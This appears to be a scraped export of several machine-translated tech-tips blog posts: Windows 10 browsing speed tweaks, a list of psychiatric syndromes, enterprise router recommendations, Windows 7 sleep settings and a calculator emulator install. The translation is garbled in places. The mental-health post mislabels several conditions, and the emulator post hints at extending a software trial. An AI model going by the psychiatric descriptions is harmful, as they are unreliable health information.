ncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWTqsC1u8yisZ5lpJ2ybsDRmqWsqJGnsq%2Bv2Gamn2WknbJuv9Oaqa1lnZq7tnnIp2SwoZ6ZvLi%2FjGpn\n","link":"/post/tips-to-customize-the-transparency-of-the-start-menu-in-windows-10/","section":"post","tags":null,"title":"Tips to customize the transparency of the Start Menu in Windows 10"},{"body":"Internet speed is one of the most important characteristics of a computer - so important that some operating systems like Chrome OS today rely almost entirely on it. Windows 10 isn't perfect at that point, but you can still do the following to make the Web experience much faster and smoother. Here, TipsMake.com will guide ways to set up Windows to improve your browsing speed.\n1. Turn off P2P Delivery Optimization Here's something you probably didn't know about Windows 10, and it sounds pretty intimidating. There's an option in Windows 10 that can be enabled by default, linking your PC to a P2P network handled by Microsoft, uploading installed Windows updates, and distributing them to speed up updates on the network. family and for strangers online.\nLocally this means that if you have the Windows update installed on one PC, its bits can be passed over the update on another PC on the same network, saving bandwidth. The downside is that the system will do the same thing but for other Windows users all over the Internet, connecting your PC to a P2P network helps Windows increase the download speed for strangers but reduce the bandwidth of your computer. friend.\nSo you should turn it off. Press Windows + I to turn on Settings. In the list, open Update \u0026amp; Security .\n  Go to Delivery Optimization in the menu on the left. Pay attention to the Allow downloads from other PCs section :\nChange On to Off if you want to disable the feature Or you keep On and select PCs on my local network if you want to share bandwidth with other computers in your family Do not choose PCs on my local network, and PCs on the Internet .   2. Turn Windows Auto-Tuning feature off or on Windows Auto-Tuning is a feature that caused various responses from users about the speed of Internet browsing. It is a feature that automatically adjusts buffer size and latency for applications based on TCP communication with the Internet.\nAlthough Microsoft has said that disabling this feature will slow down your internet speed, users with older hardware and weak connections have reported that disabling it can improve Internet speed. On the contrary, other users (usually on powerful PCs) say that turning on Auto-Tuning greatly increases their Internet speed.\nTherefore, you need to manually check if your computer is suitable for this feature or not. Here's how to enable / disable Auto-Tuning.\nEnter ' cmd ' in the Start search box, then open the Command Prompt application with administrator privileges ( Run as administrator ).\n  When the Command Prompt window appears, enter the following command and then Enter :\nnetsh interface tcp show global\n  Check what status the Receive Window Auto-Tuning Level line is in.\nIf it says Normal and wants to turn it off, enter the following:\nnetsh int tcp set global autotuninglevel = disabled\n  Otherwise, if Auto-Tuning indicates disabled and you want to enable the feature, enter:\nnetsh int tcp set global autotuninglevel = normal\nNow run a speed test to see if it makes a difference. If it speeds up everything, great! If things slowed down, then just do the reverse command to get everything back to normal.\n3. Use Resource Monitor to check network resources Resource Monitor is a good person. You can quickly and easily check which processes and apps on Windows 10 are using the most resources in terms of CPU, RAM, and - network bandwidth. You can find all of these in Resource Monitor.\nTo open Resource Monitor, press Windows + R and type resmon in the box.\n  Switch to the Network tab and you will know which services or applications are consuming a lot of network resources (ranking from high to low).\n  To turn off resource-consuming applications, just check the box next to it, right-click and select End Process .\n  4. Turn off background applications The Windows apps that you download from the Microsoft store as well as the countless Windows apps that come pre-installed on your system are one of the biggest culprits in the background. By default, these applications are always allowed to use the Internet so that they can receive updates.\nTo stop these apps from running in the background. Open Settings (Windows + I) \u0026gt;\u0026gt; Privacy .\n  Scroll down the left menu and select Background Apps .\n  Here you can:\nSwitch On to Off under Let apps run in the background to prevent all apps from running in the background Switch On to Off for a certain app to disable that app only.   Conclude Above are some little tricks you can do to speed up your browsing (and internet speed in general) in Windows 10.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWjpbKmsIyup2axn6q%2Fbq7RqK6snaJivK951qKlnaenqHpyfA%3D%3D\n","link":"/post/tips-to-speed-up-your-browser-on-windows-10/","section":"post","tags":null,"title":"Tips to speed up your browser on Windows 10"},{"body":" 13 optical illusions make you not believe your eyes Try to see what the world looks like in the eyes of the color blind 10 simple exercises that help improve posture at home According to statistics, a quarter of the world's population has experienced mental disorders or behavioral disorders . On the Bright Side page decided to check out the most unusual of them to prove once again the mystery in the human brain.\nMany diseases of neurological disorders make people behave strangely and so far these diseases are still a hidden challenge in the medical industry.\nPsychiatry is one of the areas of \" challenging \" medicine. A psychiatrist can never know for sure what is going on in the patient's head. Currently there are many different types of psychosis syndrome. Here are the Top 10 mysterious psychosis syndrome that the human brain is capable of , some of which you may not have heard of. Invite you to consult!\n1. Quasimodo syndrome  © PROSOPOPEYA PRODUCCIONES\nQuasimodo syndrome - appearance disorder, also known as Body dysmorphic disorder (BDD ), is an extremely dangerous psychosis syndrome. However, if you do not understand it, you will not know what the victim is facing, but simply think that they are \"too cool\".\nAppearance disorder syndrome is known for its obsessive obsessive thoughts about defects in the body , and sometimes they try to find out by being ugly or even . imagining. out them.\nPatients often mirror a lot and always try to find an angle that they think their defects will not be discovered by everyone . They refused to take any photo invitations to avoid those defects caught in the photo. They always take care of their looks excessively.\nThis may be the first time you've heard of this strange syndrome, but the frightening fact is that Quasimodo syndrome has been affecting 2.4% of the world's population. Their lives and their love always have problems due to this disorder. Their self-esteem is very low, often feeling awkward outside of society and always suspecting people around are laughing at their defects. Do you hear this familiar?\nThe absurdity of Quasimodo syndrome is revealed in a short film called \" Contracuerpo \".\n2. Erotomania syndrome  © Castelao Producciones SA\nErotomania syndrome , also known as \" sexual impulse \", is a syndrome that people who are always certain that someone, often a famous person or a high-ranking person in society - is secretly in love they.\nPatients with this syndrome believe that mysterious fans often show their love through special signs, signals, telepathy or even encoded messages on television. .\nThis disorder is difficult to resist, even if the person deemed to fall in love with the patient has directly said \" no \". This rejection is explained by patients as part of a strategy to hide their relationship with their society.\nThis syndrome is illustrated in the movie \" From Land of the Moon \" ( Marion Cotillard's character ).\n3. Capgras illusion syndrome  © Alcove Entertainment\nThe illusionary syndrome Capgras , also known as \" double illusion \" makes patients believe that there is a close person to them or they themselves are replaced by a \" strange twin - doppelganger \". The patient confirmed that the bad actions they caused were done by the \" impostor \" who looked exactly like them. This disorder is often accompanied by schizophrenia .\nThis syndrome is named after the French psychologist, Jean Marie Joseph Capgras , who described it in 1923. Doppelganger refers to a person whose appearance looks very much like you but is completely unrelated. any blood. In legend, doppelganger is used to refer to a \" strange twin \" living in a parallel world, a sign of bad luck. In some other cultures, they call these people \" twin demons \".\nThe feature film \" The Double \" is based on FM Dostoevsky 's novel of the same name, showing the nature of the disorder.\n4. Fregoli syndrome  © Paramount Animation\nFregoli syndrome , also known as Fregoli hallucinations, is in stark contrast to the Capgras syndrome mentioned above. Patients with this syndrome believe that under the faces of strangers who are close to them, this person always wears makeup and changes the appearance constantly with the aim of monitoring the patient.\nThis syndrome was first described in 1927: A young girl thought she was being watched by two actors working at the theater, which she had visited. These two actors often disguised themselves as the acquaintance or person she met.\nThis syndrome is named after the Italian actor, Leopoldo Fregoli - who is famous for his superficial ability to change appearance.\nThis syndrome was revealed somewhat in the animated film \" Anomalisa \".\n5. Syndrome Adele  © Les Artistes Associés\nAdele syndrome , also known as \" love obsession \" syndrome, is a serious mental disorder. Patients with this syndrome have an obsession with love, yearning for love and romance about a love affair with absolutely no response.\nSymptoms of illness are similar to severe depression but can be much more dangerous: abuse, self-deception, false hope, voluntary sacrifice, ignoring the advice of relatives and friends, acting risk and lose interest in other topics and activities.\nThe syndrome called Adele is because of a true story that happened to Victor Hugo's daughter , Adele Hugo - a beautiful, charming and talented young girl . Adele Hugo infatuated an English major named Albert Pinson and immediately decided that he was the man of her life. None of us can say for sure if Pinson is a heartless scammer who betrayed Adele's feelings, or he was just a victim of porn trends. However, Pinson did not have any response, regardless of Adele's beauty or her father's reputation. Adele chased him to all over the world, lying to everyone that they were married and eventually became completely \" crazy \".\nYou can watch \" The Story of Adele H\" , a film about syndrome Adele and the young woman named after.\n6. Cryptomnesia syndrome  © Canal +\nCryptomnesiahay syndrome, also known as \" hidden memory \", is a type of memory impairment (introduced by Flournoy psychiatrist in 1901 ). The patient cannot remember when a particular event took place or that event was a reality or a dream.\nThis is a phenomenon when a forgotten memory appears in the mind of a person who cannot recognize the source of that information. In other words, the source of information is completely forgotten.\nThis syndrome is also accompanied by the \" Jamais vu \" phenomenon ( as opposed to \"Deja vu\" ), when suddenly you feel a famous place or a famous celebrity is completely unfamiliar or unusual, as if this is the first time you saw it.\nIn the photo, you can see a scene in the movie \" The Science of Sleep \".\n7. Alice Syndrome in Wonderland  © Roth Films\nAlice in Wonderland Syndrome changes patients' perceptions of objects and surrounding space: patients feel they are becoming smaller or larger; or realize they are far away but in a strange way, they are very close.\nThe most difficult case is when the sick person feels that his or her own body is somewhere wrong. They do not understand its shape and size. In this case, there are no problems with the patient's eyes or other sensory organs, these changes only relate to their mental state .\n8. Obsessive-compulsive disorder (Obsessive-compulsive disorder-OCD)  © Appian Way\nPatients with obsessive -compulsive disorder ( Obsessive-compulsive disorder - OCD ) face obsessive thoughts and worries that they cannot control: special actions or rituals that they are forced to show.\nAt the same time, the patient also fully understands the irrationalities in those actions but the incompleteness will lead to terrible anxiety. As a result, they force themselves to regularly perform these rituals or actions.\nA vivid example of a patient with obsessive compulsive disorder - OCD is Leonardo DiCaprio in \" The Aviator \".\n9. Paraphrenia syndrome  © commons.wikimedia\nParaphrenia syndrome or \" paranoid paranoid syndrome\" is a combination of paranoia and amplification. The myth of the patient is often accompanied by hallucinations and \" false memories \". The patient considers himself the ruler of the world, the immortal, the divine origin and proclaims himself to be the writers of the great writers ( they worked under the pseudonym that writer ).\nPeople diagnosed with this disease are often arrogant and mysterious.\n10. Dissociative identity disorder (DID)  © Blinding Edge Pictures\nMulti-personality disorder , also known as \" Dissociative identity disorder (DID ), is a rare neurological disorder - the patient divides his personality and thinks that there are many different people. inside my body. These individuals may have gender, age, nationality, temperament, mental ability, worldview and even different types of illnesses.\nThe cause of this disorder is due to severe psychological trauma in childhood: for the purpose of psychological protection, the child begins to think that what is happening to them is actually happening to others. .\nThe most remarkable story about the division of personality occurred in the US in the late 1970s. When the rapist Billy Milligan was arrested, science discovered that there were 24 people living in his head.\nThe main character in \" Split \" also suffers from such a disorder.\nSee more: Looking at tongue guessing disease: 13 signs not to be missed\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqWpqMGmvsiorKxloKjGpLTOrKCsZaOuu6W%2BzqacZqyYlsFuwMeeZKGtnZa7bq7RmqCnZZOWu26txZ%2Bmq5w%3D\n","link":"/post/top-10-mysterious-psychosis-syndrome-that-the-human-brain-can-afford/","section":"post","tags":null,"title":"Top 10 mysterious psychosis syndrome that the human brain can afford"},{"body":"Choosing a router for the corporate network is a serious job. While offices or small businesses may not need a network that runs too fast or up to standard, larger offices and businesses need special routers to handle high traffic and security needs.\nInstructions for choosing to buy routers for businesses Factors to consider when choosing to buy routers for businesses Wi-Fi Protocol (Wi-Fi Protocol) Supported bands Speed Range Advanced features  The difference between an enterprise router and a home router Leading routers for small and medium enterprise networks 1. Linksys AC5400 2. Nighthawk X10 3: TP-Link AC3200 4. ASUS AC5300 5. TRENDnet AC3200  Routers for large businesses, IT Cisco enterprise routers Juniper Router HPE router Dell router Router Nokia AVAYA Router  Factors to consider when choosing to buy routers for businesses   When choosing to buy a router, you need to learn all the relevant terms. To help you choose the best, most suitable router, the article has broken down really essential features as follows:\nWi-Fi Protocol (Wi-Fi Protocol) This is the sequence of numbers and letters that begin with the word 802 associated with the router. The wireless protocol defines the maximum theoretical bandwidth and range that the router can support.\nTypically, businesses will search for routers with 802.11ac protocol. This protocol is sometimes called Gigabit Wi-Fi because it supports speeds up to 1.3Gbps (theoretically). Gigabit Internet connections are becoming more popular and the benefits it brings will be proven in the future.\nThere is a newer protocol, called 802.11ad, that is three times faster than 802.11ac. But the 802.11ad standard is new and there are very few routers (as well as many computers and Internet service packs) that support this type of bandwidth. So while 802.11ad is technically the best, at the moment they are not really necessary.\nSupported bands Routers often come with terms such as dual-band or tri-band. The band refers to the number of radio bands that the router receives. There are two common bands used are 2.4Ghz and 5Ghz. 2.4Ghz is a slower frequency band that older wireless standards like 802.11n use. The 802.11ac protocol works with the 5GHz band.\nMost routers today are dual-band, meaning they support both the 2.4Ghz and 5GHz bands, enabling higher speeds (theoretically), more stable connectivity and less network congestion. Many new routers are tri-band routers, supporting a 2.4Ghz band and 5GHz band.\nTechnically, multi-band routers will be better, but the difference between dual-band routers and triple-band routers may be difficult to see in certain environments.\nSpeed The higher maximum speed on the router will allow multiple devices to use the network at the same time without being slow. However, keep in mind that the Internet connection still needs to provide bandwidth and the router can only use the amount of bandwidth available. That is, choose a high-speed router if the Internet connection is capable of responding.\nRange The scope of a router is important if you plan to use only one router in the office. But most businesses will want to have multiple routers in the network. This ensures Wi-Fi signals cover the entire office space and have enough bandwidth for many users simultaneously. Although technically, more than 200 devices can be connected to a router, but surely the Wi-Fi speed will be very slow.\nAdvanced features In addition to the basics, there are some features commonly found in business routers that readers should note:\nQuality of Service (QoS) : QoS is a feature that allows you to prioritize certain types of traffic on the network. This is very important if the network is frequently blocked. For example, when there is too much traffic, important applications such as VoIP for video calls, may be interrupted when someone plays Netflix online at the break. Integrated VPN server : Virtual Private Network server (VPN) provides a secure, private network for businesses, by encrypting all traffic. This provides an enhanced security layer for sensitive business information. Many enterprise-class routers include a VPN server. The difference between an enterprise router and a home router The main difference between the enterprise router and the home router is the security features. Business routers often include integrated security monitoring and VPN servers to enhance security. They are usually dual-band routers to provide the maximum amount of bandwidth for many users. In terms of features, home and business router routers have many similarities.\nIf you only need to access the Internet in a small office, a small network setup similar to your home is enough. However, when office size and network usage are wider, data and information become more important and sensitive, you should probably choose a router system that has many features for businesses only. than.\nLeading routers for small and medium enterprise networks Choosing a router can be an extremely difficult task for people who don't have much knowledge. If you're not a network engineer, you may have to spend many days understanding different terms and products. But don't worry, today's article will suggest the top 5 routers on the market today for enterprise networks. Along TipsMake.com find out soon here!\n1. Linksys AC5400   Number of antennas: 8 Speed: Up to 5.3Gbps Ports: 8 gigabit Ethernet ports Protocol: 802.11ac Band: Three bands (one 2.4GHz band and two 5GHz bands) Size: 5.4 ″ x 14.3 ″ x 11.7 '' / 3.3 lbs (14cm x 36cm x 30cm) Other features: Advanced security features, integrated firewall, Beamforming technology. Linksys AC5400 is a powerful tri-band router with a maximum bandwidth of 5.3 Gbps. This router provides more Ethernet ports than all other routers on this list, perfect for extending networks or connecting critical devices for more stable network signals. But it has a disadvantage that is quite expensive.\n2. Nighthawk X10   Number of antennas: 8 Speed: Up to 7.2Gbps Port: 6 gigabit Ethernet ports, 1 10 gigabit Ethernet fiber port Protocol: 802.11ac, 802.11ad Band: Three bands (one 2.4GHz band; one 5GHz band and one 60GHz band) Size: 6.6 ″ x 8.8 '' x 2.9 '' / 4.1 lbs (17cm x 22cm x 7.5cm). Other features: Beamforming technology, advanced antenna technology, support for VPN, support for 802.11ad standard for ultra-fast wireless speeds Nighthawk has become a big name in the field of router manufacturing in the past few years and X10 is helping Nighthawk continue that tradition. This router is equipped with the latest Wi-Fi standard: 802.11ad. This protocol allows Wi-Fi speeds to be three times faster than 802.11ac. Combined with a tri-band system, the Nighthawk X10 can support speeds up to 7.2Gbps. That makes it the fastest router on the list today. Unfortunately, 802.11ad has not been widely supported on devices yet, so it will take some time before users can really take advantage of all the power that the Nighthawk X10 brings.\n3: TP-Link AC3200   Number of antennas: 6 Speed: Up to 3.2 Gbps Port: 4 gigabit Ethernet ports Protocol: 802.11ac Band: Three bands (one 2.4GHz band; two 5GHz bands) Size: 7.9 ″ x 7.9 '' x 1.5 '' / 3.1 lbs (20cm x 20cm x 4cm). Other features: Support for QoS, integrated VPN, mobile application, Smart Connect technology (Smart connection). The AC3200 router from TP-Link provides many interesting features. It has a tri-band router that supports connection speeds up to 3.2Gbps. This is not the strongest router on this list, but it still provides users with plenty of bandwidth. It has 6 antennas that can be moved to find the best connection, 4 Ethernet ports to extend the network range and an integrated VPN server to maximize security. With prices below $ 300 (VND 6.9 million), this product is very suitable for a small business.\n4. ASUS AC5300   Number of antennas: 8 Speed: Up to 5.3 Gbps Port: 4 gigabit Ethernet ports Protocol: 802.11ac Band: Three bands (one 2.4GHz band and two 5GHz bands) Size: 24.5 ″ x 24.5 '' x 6.5 '' / 3.2 lbs (62cm x 62cm x 16.5cm) Other features: Advanced security features from Trend Micro, wide coverage, mobile applications. This is a large sized router, so it takes up a considerable amount of space on the desk. However, that 'huge' size makes ASUS AC5300 one of the strongest routers in this list, with a large amount of bandwidth and 8 antennas that can be moved. This is also the best long-range Wi-Fi router thanks to its unique antenna setup.\n5. TRENDnet AC3200   Number of antennas: 6 Speed: Up to 3.2 Gbps Port: 4 gigabit Ethernet ports Protocol: 802.11ac Band: Three bands (one 2.4GHz band and two 5GHz bands) Size: 13 ″ x 13 ″ x 3 '' / 2.7 lbs (33cm x 33cm x 8cm). Other features: Beamforming technology, open source compatibility, Smart Connect technology (Smart connection). TRENDnet has created a series of affordable routers, including this AC3200 model. This router owns Smart Connect technology, which prioritizes network devices to maximize performance. It is also compatible with open source software, so it can be customized according to the specific needs of each business.\nRouters for large businesses, IT Cisco enterprise routers   Cisco Systems, one of the leading network companies in the world, specializes in providing routers, switches and other network devices. Cisco enterprise-class devices can help the corporate network be better protected with high security protocols. Cisco routers can help the enterprise network work more accurately, better meet user needs and increase the ability to combine the use of new compatible technologies.\nHowever, it is also because Cisco is a big name in this area, so it also has a lot of routers to choose from. It will be difficult to decide which Cisco router is right for your organization. If you need to interact with the Internet, Cisco's enterprise-class router is a great candidate. The following is a list of Cisco's leading enterprise routers at the present time.\nCISCO's Integrated Services routers\nCISCO's Integrated Services routers extend the scope for its 'office routers' by integrating multiple system services into a single platform. This is a big improvement over previous routers that require additional hardware to run services.\nCISCO 800 Series ISR CISCO 4000 Series ISRM CISCO Meraki MX CISCO WAN Aggregation routers\nThe WAN Aggregation routers (combined WAN) of CISCO boast outstanding IP along with expandable and customized IP services.\nCISCO NCS 5000 Series CISCO NCS 5500 Series CISCO ASR 1000 Series CISCO's Internet router edges\nEdge router is the specific router that is located at the network 'boundary', allowing internal networks to connect to external networks. These edge routers are basically used within WAN and web division.\nCISCO ASR 1000 Series CISCO ASR 9000 Series CISCO's Service Provider Core\nAdvantages of Core Provider is easy to scale in the future.\nCISCO NCS 5500 Series CISCO NCS 6000 Series CISCO ASR 9000 Series CISCO industrial routers\nCisco's multi-service industrial routers are very compact and compatible with harsh environments.\nCISCO 800 Series Industrial Integrated Services Router Router CISCO 900 Series Industrial CISCO 1000 Router Connected Grid series CISCO 2000 Series Connected Grid Router Router CISCO 500 Series WPAN Industrial Cisco Integrated Services Virtual routers\nCisco Integrated Services Router (ISR) - Cisco's integrated service router - is part of Cisco Borderless Network Architecture (Cisco's borderless network structure), helping to enhance innovation and business growth in all pages. remote web.\nCISCO IOS XRv 9000 CISCO CSR 1000v Cisco routers in this section, along with a brief description of them, give you a chance to better understand which router is the best choice for your business. The main benefit of Cisco routers is security.\nJuniper Router   Juniper Networks also designs, develops and markets Information Technology (IT) network products. Juniper holds the third largest market share of routers and switches used by Internet service providers (ISPs). Some of its products include routers, switches, network security products, network management software and IT security products.\nOne of Juniper's most popular products is the Juniper MX series. The main goal of launching the MX series is to significantly increase the bandwidth for MX routers. Currently, Juniper Mx80 has capacity of 80 GNPS and 2U size (rack unit, 1 rack unit = 44.45 mm). Juniper routers are suitable for all IT environments, providing a safe and scalable portfolio for enterprise routers.\nJuniper MX Series\nThe Juniper MX Series is closely linked to the Software Defined Network (SDN) to provide impressive system capacity, density and performance.\nJuniper Virtual MX (vMX) Juniper MX 5 Juniper MX10 Juniper MX40 Juniper MX80 Juniper MX104 Juniper MX150 Juniper MX204 Juniper MX240 Juniper MX480 Juniper MX960 Juniper MX2008 Juniper MX2010 Juniper MX2020 Juniper MX10003 JunX PTX Series\nPTX routers are designed to provide incredible speed, efficient integration and lightweight deployment, which helps reduce costs associated with network ownership.\nJuniper PTX1000 Juniper PTX3000 Juniper PTX5000 Juniper PTX10000 JunX ACX Series\nACX routers adapt to a variety of environments, reducing operating, maintenance and updating network infrastructure costs. Moreover, this series of products makes customers extremely satisfied thanks to its durability.\nJuniper ACX2100 Juniper ACX2200 Juniper ACX4000 Juniper ACX5000 CTP Juniper Series\nAdvanced technology in the CTP series enables improved transmission time and multiplexing. This technology eliminates point to point circuits (points to points) and instead converts applications into an effective IP network.\nJuniper CTP150 Juniper CTP2008 Juniper CTP2024 Juniper CTP2056 Juniper Router T4000 Core\nThe Juniper T4000 Core router is designed with a flexible structure that can deliver a wide range of services through common infrastructure and MPLS.\nHPE router   HPE (Hewlett Packard Enterprise) helps customers deploy a range of technologies to get user-friendly cloud services and mobile platforms. HPE provides quality service to customers, changing industries, markets and life. HPE also offers a variety of products related to networking, storage servers and software.\nThere are two different HPE router series:\nHPE MSR Series HPE VSR Series HPE model routers are high-performance routers, with router devices up to 1MBPS. MSR routers are designed for routing, switching, high security and do not need any additional licenses. All features are included at no extra cost. The price of HPE routers is also very reasonable.\nIn addition, HPE enterprise router has a very convenient modular design. All MSR routers offer flexible connectivity options, along with enhanced security with integrated firewall protection measures. This router's WAN combines existing features with newly added 4G LTE SIC modules.\nThe HPE Virtual Service router series has the same functionality as the physical enterprise version, however, it is based on a virtual X86 server.\nHPE router models:\nHPE FLexNetwork MSR95x Series HPE FlexNetwork HSR6800 Series HPE Alcatel-Lucent 7750 Service Series HPE PS110 Wireless VPN Series HPE R100 Wireless VPN Series HPE FlexNetwork MSR1000 Series HPE FlexNetwork MSR4000 Series HPE FlexNetwork MSR2000 Series HPE FlexNetwork VSR1000 Virtual Services Series HPE FlexNetwork MSR3000 Series HPE FlexNetwork MSR93x Series HPE FlexNetwork HSR6600 Series HPE FlexNetwork 6600 Series HP-FlexU Network Virtual Router Router E-LTU E-LTU HPE FlexNetwork VSR1004 HPE FlexNetwork VSR1008 Aruba is a 'brother' company of Hewlett Packard Enterprise. The company offers mobile controllers, switches, routers and more.\nAruba router models:\nAruba Series 340 Aruba Series 330 Aruba 220 Series Aruba Series 210 Aruba Series 207 Aruba 200 Series Aruba 1030 Series Dell router   Dell is an MNC IT company, based in the United States, specializing in the manufacture and supply of HDD, Dell router, network switch, PC and other network related products for home and business.\nDell offers the best network-related solutions worldwide, with comprehensive IT services and 24/7 customer support.\nIn Dell, Layer 3 switches are considered routers. The most popular Dell router is the Dell Networking N-Series router. These N-Series (N series) routers boast energy saving and 1GbE and 10GbE switches, designed to modernize and expand network infrastructure.\n1GbE Layer 3 Dell Networking N2000 Series switches\nThese Layer 3 switches use M-LAG to create different path loops, allowing full bandwidth to be used for redundancy. It also has IPv4 and IPv6 Layer 3 functions, including static routing and Routing Information Protocol (RIP version 1 \u0026amp; 2) for up to 256 interfaces. The N2000 Series has features that provide 48 Power-over-Ethernet Plus (PoE +) ports. Meanwhile, N2128PX-ON supports 4 ports of 60W Power over Ethernet (PoE 60W).\nDell N2024 Series Dell N2024P Series Dell N2048 Series Dell N2048P Series 1GbE Layer 3 Dell Networking N3000 Series switches\nThe N3000 Series provides PoE 60W compatible with GbE switches for Layer 3 access with M-LAG and provides useful stack support. The N3000 Series includes advanced IPv4 and IPv6 Layer 3 routing, increasing security and scalability. Dell improves compatibility through communicating with Cisco Cisco Rapid on each Vlan Spanning Tree (RPVST +) and through Cisco Discovery Protocol (CDP) devices. Dell supports all wireless Wave 2 bandwidth with 2.5 / 5GbE ports on N3132PX-ON.\nDell N3024 Series Dell N3024P Series Dell N3024F Series Dell N3048 Series 1GbE Layer 3 Dell Networking N4000 Series switches\nThe N4000 Series offers 10/40 Gigabyte Ethernet and fast flexibility for existing networks. It also has Multi-chassis Link Aggregation - Multi-frame link (MLAG) with high performance. It also provides centralized network support for DCB with Priority Flow Control (802.1Qbb), ETS (802.1Qaz), DCBx, and iSCSI TLV support. The N4000 Series includes OpenFlow 1.3 support, for interoperability with industry standard OpenFlow control devices. The N4000 series is air-cooled, allowing the N4000 to operate at temperatures up to 113 ° F (45 ° C) and help reduce cooling costs.\nDell N4032 Series Dell N4032F Series Dell N4064 Series Dell N4064F Series Router Nokia   Nokia's routers and switches are compatible with cloud-based and video-based services in the residential, mobile, and business sectors.\nNokia is coming up with different routers and network solutions, such as the Nokia 7250 Inter-connect router. This router provides terabit scalability in data centers and WANs.\nSeries:\nNokia IXR - 6 Nokia IXR - 10 The Nokia 7705 router is a multi-access router and access device for all Ethernet and IP / MPLS networks.\nSeries:\nNokia 7705 SAR-18 Nokia 7705 SAR-8 Nokia 7705 SAR-X Nokia 7705 SAR-A Nokia 7705 SAR-Ax Nokia 7705 SAR-M Nokia 7705 SAR-H Nokia 7705 SAR-Hc Nokia 7705 SAR-W Nokia 7705 SAR-Wx Nokia 7705 Service Aggregation Router-Hm The Nokia 7750 Service Router (SR) delivers rich and high quality service performance across the network along with intelligence in the IP edge network.\nSeries:\nNokia 7950 XRS-XC Nokia 7750 SR-s Nokia 7750 SR-e Nokia 7750 SR-a The Nokia 7750 mobile gateway is optimized to bring the new generation ultra-wide bandwidth mobile service, supported via Nokia's mobile radio access network. The Service Router Operating System (SROS) of this company was built to meet the high demand for Ethernet and IP / MPLS networks. Nokia's virtualization service router is optimized for cloud environments.\nIP core routers are designed to support applications, such as routing Internet backbone, metro core, MPLS conversion, data center connectivity and infrastructure services.\nIP edge routers are built to support the ability to combine high density in Edge (PE), Broadband Network Gateway (BNGs), Advanced Gateway (CGNAT, SecGW, WLANGW) functions, Internet peering (Peering is the Voluntary connection of separate Internet networks, aimed at exchanging traffic between users of each network), data center gateway, router backbone and combined DC / WAN applications.\nThese routers are designed to access and connect, as well as support Carrier Ethernet, mobile data transfer (backhaul and front haul), as well as legacy-to-packet conversion applications (from methods). traditional to package form.\nNokia's Virtualized service router provides high performance and scalability for x86 server environments.\nAVAYA Router   Avaya is a multinational company, primarily focusing on telecommunications, wireless data communications for large businesses, as well as small and medium enterprises. Avaya uses the Customer Relationship Management (CRM) to form and maintain high quality customer relationships. Avaya's security routers are mainly used in the network and telecommunications industries. Each security router series has a different specification. Avaya routers are very effective when combining multiple functions such as Ethernet switching, Wide Area Network (WAN) routing and firewall security into a single device. Avaya's Secure Router Series is fast, reliable security features, along with advanced, scalable WAN technology and integrated solutions for businesses.\nAvaya's secure routers include:\n1000 Secure Routers Series Secure Routers Series 2000 Secure Routers 3000 series Secure Routers 4000 series 8000 Secure Routers Series Business Secure Router 222 Business Secure Router 252 Avaya router features include:\nHigh performance Bandwidth can be expanded Good handling power Best network security Powerful routing capabilities Maximum uptime High flexibility Integrated Voice Media Gateway (Voice communication gateway) Multi-Link Bonding (Multi-link Bonding) WAN Highlights Access Value High investment efficiency See more:\nThe best wifi transmitter, wifi modem, worth buying for you 6 best Wifi wave-enabled devices, Wifi wave amplifiers Top best 802.11ac Wi-Fi wireless router ncG1vNJzZmismaXArq3KnmWcp51ksrnA0Z6knqSpYr2ww8Srna6kXay2p7WMramapqOitrXAxKtkn6eiYq%2B2v8innKyrlag%3D\n","link":"/post/extremely-powerful-wi-fi-transmitter-for-businesses/","section":"post","tags":null,"title":"Extremely powerful Wi-fi transmitter for businesses"},{"body":"If you do not use the computer for a period of time, but do not want to shut down the computer, turn off the computer completely, you can use Sleep mode. This mode brings the computer back to sleep mode to save maximum power consumption, but can still restart the computer quickly, via mouse click or any key.\nAnd by default this Sleep feature will not be turned on or the Sleep auto time is too long or too fast, not at the discretion of the user. If so, we can customize the time to turn on Sleep mode on Windows 7 with a very simple way.\nTurn off, turn on Hibernate mode in Windows 7 To enable or disable Sleep mode in Windows 10 How to create a hot key for Windows to sleep and shutdown How to adjust Sleep time on Windows 7 Step 1:\nFirst, click on the Start button icon on the screen interface and enter the Power Options keyword in the search bar. Click on Power Options in the list found.\n  Step 2:\nAppearing the Power Options interface, click on the Change when the computer Sleeps management group in the list on the left of the screen interface.\n  Step 3:\nSwitching to the new interface of Put the computer to sleep, we will see a list of time options for the computer to automatically enter Sleep mode according to each person. When you're done setting the time to click on Save changes below to save it.\n  So with the time set above, the computer will automatically be put into Sleep mode, when we do not use the computer. Users should set the Sleep time more than the time to turn off the screen, to prevent the screen from being locked.\nSee more:\nHow to disable automatic Sleep mode on Windows 10? How to change screen lock timeout in Windows 10 Set the shutdown or hibernate time for the computer I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIytn55lo6GypryMpqadnV2ku27DyKebqK%2BjYoQ%3D\n","link":"/post/how-to-adjust-the-sleep-mode-on-windows-7/","section":"post","tags":null,"title":"How to adjust the Sleep mode on Windows 7"},{"body":"CASIO FX-580 VNX is a super handheld computer, a standard computer with LCD technology of the ClassWiz scientific computer line of CASIO computer company.\nIt can be said that the CASIO FX-580 VNX is one of the most famous and most modern computer lines of CASIO. The CASIO FX-580 VNX is equipped with special new features and is a powerful aid to your learning.\nOK! Today, I will share with you how to use this CASIO supercomputer on WINDOWS operating system without spending any money, you can use this handheld computer. a handy calculator tool for Windows.\nHow to emulate CASIO FX-580 VNX on a computer + Step 1: You download the emulator to your computer here or here or here.\n+ Step 2: After downloading, open the emulator that you just downloaded.\n=\u0026gt; Then select Vietnamese language (Vietnam) for the software or another suitable language =\u0026gt; then click OK.\n  Click Next.\n  Next, please click on I accept… to agree with the terms of use =\u0026gt; then click on Next to continue.   You continue to click Next.\n  Then click on Install to begin the installation process.\n  Finally click Finish to complete. The installation process is extremely simple.\n  + Step 3: Open the emulator just installed =\u0026gt; then tick No. I want to… =\u0026gt; and click Next.\n  And now you can use the Casio FX-580 VNX calculator on Windows operating system.\n  Very simple is not it? So you have 90 days to try out this useful emulator software.\nI will show you how to extend the software trial time in the upcoming articles.\nYes, so I have just introduced and instructed you how to emulate the CASIO FX-580 VNX computer on Windows operating system, in general it is also very easy and nothing difficult at all.\nThank you for watching my post. Wish you have effective study and working hours with handy and useful software.\nHopefully this article will be useful to you. Good luck 